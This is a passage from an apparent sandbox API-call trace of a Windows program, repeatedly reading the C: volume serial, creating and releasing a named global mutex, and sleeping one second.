lpDst="C:\\") returned 0x4 [0247.502] GetProcessHeap () returned 0x560000 [0247.502] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2b87c70 | out: hHeap=0x560000) returned 1 [0247.502] GetProcessHeap () returned 0x560000 [0247.502] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x57a468 | out: hHeap=0x560000) returned 1 [0247.502] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x224fa34, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x224fa34*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0247.503] GetProcessHeap () returned 0x560000 [0247.503] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x57a7d8 | out: hHeap=0x560000) returned 1 [0247.503] GetProcessHeap () returned 0x560000 [0247.503] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x40) returned 0x5740d0 [0247.504] GetProcessHeap () returned 0x560000 [0247.504] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x3a) returned 0x574508 [0247.504] GetProcessHeap () returned 0x560000 [0247.504] RtlReAllocateHeap (Heap=0x560000, Flags=0x0, Ptr=0x574508, Size=0x72) returned 0x56ff20 [0247.504] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x0 [0247.504] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\<>9C354B4200000001") returned 0x1f0 [0247.504] WaitForSingleObject (hHandle=0x1f0, dwMilliseconds=0x0) returned 0x0 [0247.504] GetProcessHeap () returned 0x560000 [0247.504] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x5740d0 | out: hHeap=0x560000) returned 1 [0247.504] GetProcessHeap () returned 0x560000 [0247.505] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x56ff20 | out: hHeap=0x560000) returned 1 [0247.505] ReleaseMutex (hMutex=0x1f0) returned 1 [0247.505] CloseHandle (hObject=0x1f0) returned 1 [0247.505] Sleep (dwMilliseconds=0x3e8) [0249.214] GetProcessHeap () returned 0x560000 [0249.214] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x20) returned 0x57a7d8 [0249.214] GetProcessHeap () returned 0x560000 [0249.214] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x1e) returned 0x57a468 [0249.214] GetProcessHeap () returned 0x560000 [0249.214] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x1e) returned 0x2b87c70 [0249.214] GetProcessHeap () returned 0x560000 [0249.215] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x90) returned 0x57d6f8 [0249.215] GetProcessHeap () returned 0x560000 [0249.215] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x57d6f8 | out: hHeap=0x560000) returned 1 [0249.215] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x57a468, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0249.215] GetProcessHeap () returned 0x560000 [0249.215] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2b87c70 | out: hHeap=0x560000) returned 1 [0249.215] GetProcessHeap () returned 0x560000 [0249.215] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x57a7d8 | out: hHeap=0x560000) returned 1 [0249.215] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x224fa34, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x224fa34*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0249.215] GetProcessHeap () returned 0x560000 [0249.216] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x57a468 | out: hHeap=0x560000) returned 1 [0249.216] GetProcessHeap () returned 0x560000 [0249.216] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x40) returned 0x5740d0 [0249.216] GetProcessHeap () returned 0x560000 [0249.216] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x3a) returned 0x574508 [0249.216] GetProcessHeap () returned 0x560000 [0249.216] RtlReAllocateHeap (Heap=0x560000, Flags=0x0, Ptr=0x574508, Size=0x72) returned 0x56ff20 [0249.216] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x0 [0249.216] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\<>9C354B4200000001") returned 0x1f0 [0249.216] WaitForSingleObject (hHandle=0x1f0, dwMilliseconds=0x0) returned 0x0 [0249.217] GetProcessHeap () returned 0x560000 [0249.217] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x5740d0 | out: hHeap=0x560000) returned 1 [0249.217] GetProcessHeap () returned 0x560000 [0249.217] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x56ff20 | out: hHeap=0x560000) returned 1 [0249.217] ReleaseMutex (hMutex=0x1f0) returned 1 [0249.217] CloseHandle (hObject=0x1f0) returned 1 [0249.217] Sleep (dwMilliseconds=0x3e8) [0250.690] GetProcessHeap () returned 0x560000 [0250.690] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x20) returned 0x2b87d88 [0250.690] GetProcessHeap () returned 0x560000 [0250.690] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x1e) returned 0x2b87d10 [0250.690] GetProcessHeap () returned 0x560000 [0250.690] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x1e) returned 0x2b87e50 [0250.690] GetProcessHeap () returned 0x560000 [0250.690] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x90) returned 0x65ff50 [0250.690] GetProcessHeap () returned 0x560000 [0250.691] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x65ff50 | out: hHeap=0x560000) returned 1 [0250.691] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x2b87d10, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0250.691] GetProcessHeap () returned 0x560000 [0250.691] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2b87e50 | out: hHeap=0x560000) returned 1 [0250.691] GetProcessHeap () returned 0x560000 [0250.691] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2b87d88 | out: hHeap=0x560000) returned 1 [0250.691] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x224fa34, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x224fa34*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0250.692] GetProcessHeap () returned 0x560000 [0250.692] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2b87d10 | out: hHeap=0x560000) returned 1 [0250.692] GetProcessHeap () returned 0x560000 [0250.692] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x40) returned 0x5740d0 [0250.692] GetProcessHeap () returned 0x560000 [0250.692] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x3a) returned 0x574508 [0250.692] GetProcessHeap () returned 0x560000 [0250.692] RtlReAllocateHeap (Heap=0x560000, Flags=0x0, Ptr=0x574508, Size=0x72) returned 0x56ff20 [0250.692] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x0 [0250.692] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\<>9C354B4200000001") returned 0x1fc [0250.693] WaitForSingleObject (hHandle=0x1fc, dwMilliseconds=0x0) returned 0x0 [0250.693] GetProcessHeap () returned 0x560000 [0250.693] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x5740d0 | out: hHeap=0x560000) returned 1 [0250.693] GetProcessHeap () returned 0x560000 [0250.693] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x56ff20 | out: hHeap=0x560000) returned 1 [0250.693] ReleaseMutex (hMutex=0x1fc) returned 1 [0250.693] CloseHandle (hObject=0x1fc) returned 1 [0250.693] Sleep (dwMilliseconds=0x3e8) [0252.170] GetProcessHeap () returned 0x560000 [0252.171] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x20) returned 0x2b87c70 [0252.171] GetProcessHeap () returned 0x560000 [0252.171] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x1e) returned 0x2b87e00 [0252.171] GetProcessHeap () returned 0x560000 [0252.171] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x1e) returned 0x2b87dd8 [0252.171] GetProcessHeap () returned 0x560000 [0252.171] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x90) returned 0x65ff50 [0252.171] GetProcessHeap () returned 0x560000 [0252.171] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x65ff50 | out: hHeap=0x560000) returned 1 [0252.171] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x2b87e00, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0252.171] GetProcessHeap () returned 0x560000 [0252.171] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2b87dd8 | out: hHeap=0x560000) returned 1 [0252.171] GetProcessHeap () returned 0x560000 [0252.171] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2b87c70 | out: hHeap=0x560000) returned 1 [0252.171] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x224fa34, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x224fa34*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0252.172] GetProcessHeap () returned 0x560000 [0252.172] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2b87e00 | out: hHeap=0x560000) returned 1 [0252.172] GetProcessHeap () returned 0x560000 [0252.172] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x40) returned 0x5740d0 [0252.172] GetProcessHeap () returned 0x560000 [0252.172] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x3a) returned 0x574508 [0252.172] GetProcessHeap () returned 0x560000 [0252.172] RtlReAllocateHeap (Heap=0x560000, Flags=0x0, Ptr=0x574508, Size=0x72) returned 0x56ff20 [0252.173] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x0 [0252.173] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\<>9C354B4200000001") returned 0x1e0 [0252.173] WaitForSingleObject (hHandle=0x1e0, dwMilliseconds=0x0) returned 0x0 [0252.173] GetProcessHeap () returned 0x560000 [0252.173] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x5740d0 | out: hHeap=0x560000) returned 1 [0252.173] GetProcessHeap () returned 0x560000 [0252.173] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x56ff20 | out: hHeap=0x560000) returned 1 [0252.173] ReleaseMutex (hMutex=0x1e0) returned 1 [0252.174] CloseHandle (hObject=0x1e0) returned 1 [0252.174] Sleep (dwMilliseconds=0x3e8) [0253.563] GetProcessHeap () returned 0x560000 [0253.563] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x20) returned 0x2b87e00 [0253.563] GetProcessHeap () returned 0x560000 [0253.563] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x1e) returned 0x2b87c70 [0253.563] GetProcessHeap () returned 0x560000 [0253.563] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x1e) returned 0x2b87dd8 [0253.564] GetProcessHeap () returned 0x560000 [0253.564] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x90) returned 0x65ff50 [0253.564] GetProcessHeap () returned 0x560000 [0253.564] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x65ff50 | out: hHeap=0x560000) returned 1 [0253.564] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x2b87c70, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0253.564] GetProcessHeap () returned 0x560000 [0253.564] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2b87dd8 | out: hHeap=0x560000) returned 1 [0253.564] GetProcessHeap () returned 0x560000 [0253.564] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2b87e00 | out: hHeap=0x560000) returned 1 [0253.564] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x224fa34, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x224fa34*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0253.565] GetProcessHeap () returned 0x560000 [0253.565] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2b87c70 | out: hHeap=0x560000) returned 1 [0253.565] GetProcessHeap () returned 0x560000 [0253.565] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x40) returned 0x5740d0 [0253.565] GetProcessHeap () returned 0x560000 [0253.565] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x3a) returned 0x574508 [0253.565] GetProcessHeap () returned 0x560000 [0253.565] RtlReAllocateHeap (Heap=0x560000, Flags=0x0, Ptr=0x574508, Size=0x72) returned 0x56ff20 [0253.565] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x0 [0253.566] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\<>9C354B4200000001") returned 0x1e0 [0253.566] WaitForSingleObject (hHandle=0x1e0, dwMilliseconds=0x0) returned 0x0 [0253.566] GetProcessHeap () returned 0x560000 [0253.566] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x5740d0 | out: hHeap=0x560000) returned 1 [0253.566] GetProcessHeap () returned 0x560000 [0253.566] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x56ff20 | out: hHeap=0x560000) returned 1 [0253.566] ReleaseMutex (hMutex=0x1e0) returned 1 [0253.567] CloseHandle (hObject=0x1e0) returned 1 [0253.567] Sleep (dwMilliseconds=0x3e8) [0254.943] GetProcessHeap () returned 0x560000 [0254.943] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x20) returned 0x2b87c70 [0254.943] GetProcessHeap () returned 0x560000 [0254.943] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x1e) returned 0x2b87e00 [0254.943] GetProcessHeap () returned 0x560000 [0254.943] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x1e) returned 0x2b87dd8 [0254.943] GetProcessHeap () returned 0x560000 [0254.943] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x90) returned 0x2b74208 [0254.943] GetProcessHeap () returned 0x560000 [0254.944] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2b74208 | out: hHeap=0x560000) returned 1 [0254.944] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x2b87e00, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0254.944] GetProcessHeap () returned 0x560000 [0254.944] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2b87dd8 | out: hHeap=0x560000) returned 1 [0254.944] GetProcessHeap () returned 0x560000 [0254.945] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2b87c70 | out: hHeap=0x560000) returned 1 [0254.945] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x224fa34, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x224fa34*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0254.945] GetProcessHeap () returned 0x560000 [0254.945] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2b87e00 | out: hHeap=0x560000) returned 1 [0254.945] GetProcessHeap () returned 0x560000 [0254.945] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x40) returned 0x5740d0 [0254.945] GetProcessHeap () returned 0x560000 [0254.946] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x3a) returned 0x574508 [0254.946] GetProcessHeap () returned 0x560000 [0254.946] RtlReAllocateHeap (Heap=0x560000, Flags=0x0, Ptr=0x574508, Size=0x72) returned 0x56ff20 [0254.946] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x0 [0254.946] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\<>9C354B4200000001") returned 0x1e0 [0254.946] WaitForSingleObject (hHandle=0x1e0, dwMilliseconds=0x0) returned 0x0 [0254.946] GetProcessHeap () returned 0x560000 [0254.946] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x5740d0 | out: hHeap=0x560000) returned 1 [0254.946] GetProcessHeap () returned 0x560000 [0254.947] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x56ff20 | out: hHeap=0x560000) returned 1 [0254.947] ReleaseMutex (hMutex=0x1e0) returned 1 [0254.947] CloseHandle (hObject=0x1e0) returned 1 [0254.947] Sleep (dwMilliseconds=0x3e8) [0256.122] GetProcessHeap () returned 0x560000 [0256.122] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x20) returned 0x2b87e00 [0256.122] GetProcessHeap () returned 0x560000 [0256.122] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x1e) returned 0x2b87c70 [0256.122] GetProcessHeap () returned 0x560000 [0256.122] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x1e) returned 0x2b87dd8 [0256.122] GetProcessHeap () returned 0x560000 [0256.122] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x90) returned 0x65ff50 [0256.122] GetProcessHeap () returned 0x560000 [0256.122] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x65ff50 | out: hHeap=0x560000) returned 1 [0256.122] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x2b87c70, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0256.122] GetProcessHeap () returned 0x560000 [0256.123] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2b87dd8 | out: hHeap=0x560000) returned 1 [0256.123] GetProcessHeap () returned 0x560000 [0256.123] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2b87e00 | out: hHeap=0x560000) returned 1 [0256.123] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x224fa34, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x224fa34*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0256.123] GetProcessHeap () returned 0x560000 [0256.123] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2b87c70 | out: hHeap=0x560000) returned 1 [0256.124] GetProcessHeap () returned 0x560000 [0256.124] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x40) returned 0x5740d0 [0256.124] GetProcessHeap () returned 0x560000 [0256.124] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x3a) returned 0x574508 [0256.124] GetProcessHeap () returned 0x560000 [0256.124] RtlReAllocateHeap (Heap=0x560000, Flags=0x0, Ptr=0x574508, Size=0x72) returned 0x56ff20 [0256.124] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x0 [0256.124] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\<>9C354B4200000001") returned 0x1e0 [0256.124] WaitForSingleObject (hHandle=0x1e0, dwMilliseconds=0x0) returned 0x0 [0256.125] GetProcessHeap () returned 0x560000 [0256.125] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x5740d0 | out: hHeap=0x560000) returned 1 [0256.125] GetProcessHeap () returned 0x560000 [0256.125] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x56ff20 | out: hHeap=0x560000) returned 1 [0256.125] ReleaseMutex (hMutex=0x1e0) returned 1 [0256.125] CloseHandle (hObject=0x1e0) returned 1 [0256.125] Sleep (dwMilliseconds=0x3e8) [0257.433] GetProcessHeap () returned 0x560000 [0257.433] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x20) returned 0x2b87c70 [0257.433] GetProcessHeap () returned 0x560000 [0257.433] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x1e) returned 0x2b87e00 [0257.433] GetProcessHeap () returned 0x560000 [0257.433] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x1e) returned 0x2b87dd8 [0257.433] GetProcessHeap () returned 0x560000 [0257.433] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x90) returned 0x65ff50 [0257.434] GetProcessHeap () returned 0x560000 [0257.434] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x65ff50 | out: hHeap=0x560000) returned 1 [0257.434] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x2b87e00, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0257.434] GetProcessHeap () returned 0x560000 [0257.434] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2b87dd8 | out: hHeap=0x560000) returned 1 [0257.434] GetProcessHeap () returned 0x560000 [0257.434] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2b87c70 | out: hHeap=0x560000) returned 1 [0257.434] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x224fa34, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x224fa34*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0257.435] GetProcessHeap () returned 0x560000 [0257.435] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2b87e00 | out: hHeap=0x560000) returned 1 [0257.435] GetProcessHeap () returned 0x560000 [0257.435] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x40) returned 0x5740d0 [0257.435] GetProcessHeap () returned 0x560000 [0257.435] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x3a) returned 0x574508 [0257.435] GetProcessHeap () returned 0x560000 [0257.435] RtlReAllocateHeap (Heap=0x560000, Flags=0x0, Ptr=0x574508, Size=0x72) returned 0x56ff20 [0257.435] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x0 [0257.435] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\<>9C354B4200000001") returned 0x1e0 [0257.436] WaitForSingleObject (hHandle=0x1e0, dwMilliseconds=0x0) returned 0x0 [0257.436] GetProcessHeap () returned 0x560000 [0257.436] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x5740d0 | out: hHeap=0x560000) returned 1 [0257.436] GetProcessHeap () returned 0x560000 [0257.436] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x56ff20 | out: hHeap=0x560000) returned 1 [0257.436] ReleaseMutex (hMutex=0x1e0) returned 1 [0257.436] CloseHandle (hObject=0x1e0) returned 1 [0257.436] Sleep (dwMilliseconds=0x3e8) [0259.084] GetProcessHeap () returned 0x560000 [0259.084] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x20) returned 0x2b87e00 [0259.084] GetProcessHeap () returned 0x560000 [0259.084] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x1e) returned 0x2b87c70 [0259.084] GetProcessHeap () returned 0x560000 [0259.084] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x1e) returned 0x2b87dd8 [0259.084] GetProcessHeap () returned 0x560000 [0259.084] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x90) returned 0x2b74208 [0259.085] GetProcessHeap () returned 0x560000 [0259.085] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2b74208 | out: hHeap=0x560000) returned 1 [0259.085] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x2b87c70, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0259.085] GetProcessHeap () returned 0x560000 [0259.085] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2b87dd8 | out: hHeap=0x560000) returned 1 [0259.085] GetProcessHeap () returned 0x560000 [0259.086] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2b87e00 | out: hHeap=0x560000) returned 1 [0259.086] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x224fa34, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x224fa34*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0259.086] GetProcessHeap () returned 0x560000 [0259.086] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2b87c70 | out: hHeap=0x560000) returned 1 [0259.086] GetProcessHeap () returned 0x560000 [0259.086] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x40) returned 0x5740d0 [0259.086] GetProcessHeap () returned 0x560000 [0259.086] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x3a) returned 0x574508 [0259.087] GetProcessHeap () returned 0x560000 [0259.087] RtlReAllocateHeap (Heap=0x560000, Flags=0x0, Ptr=0x574508, Size=0x72) returned 0x56ff20 [0259.087] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x0 [0259.087] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\<>9C354B4200000001") returned 0x1e0 [0259.087] WaitForSingleObject (hHandle=0x1e0, dwMilliseconds=0x0) returned 0x0 [0259.087] GetProcessHeap () returned 0x560000 [0259.087] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x5740d0 | out: hHeap=0x560000) returned 1 [0259.087] GetProcessHeap () returned 0x560000 [0259.087] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x56ff20 | out: hHeap=0x560000) returned 1 [0259.087] ReleaseMutex (hMutex=0x1e0) returned 1 [0259.087] CloseHandle (hObject=0x1e0) returned 1 [0259.087] Sleep (dwMilliseconds=0x3e8) [0260.355] GetProcessHeap () returned 0x560000 [0260.355] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x20) returned 0x2b87c70 [0260.355] GetProcessHeap () returned 0x560000 [0260.355] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x1e) returned 0x2b87e00 [0260.355] GetProcessHeap () returned 0x560000 [0260.355] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x1e) returned 0x2b87dd8 [0260.355] GetProcessHeap () returned 0x560000 [0260.355] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x90) returned 0x65ff50 [0260.355] GetProcessHeap () returned 0x560000 [0260.356] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x65ff50 | out: hHeap=0x560000) returned 1 [0260.356] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", 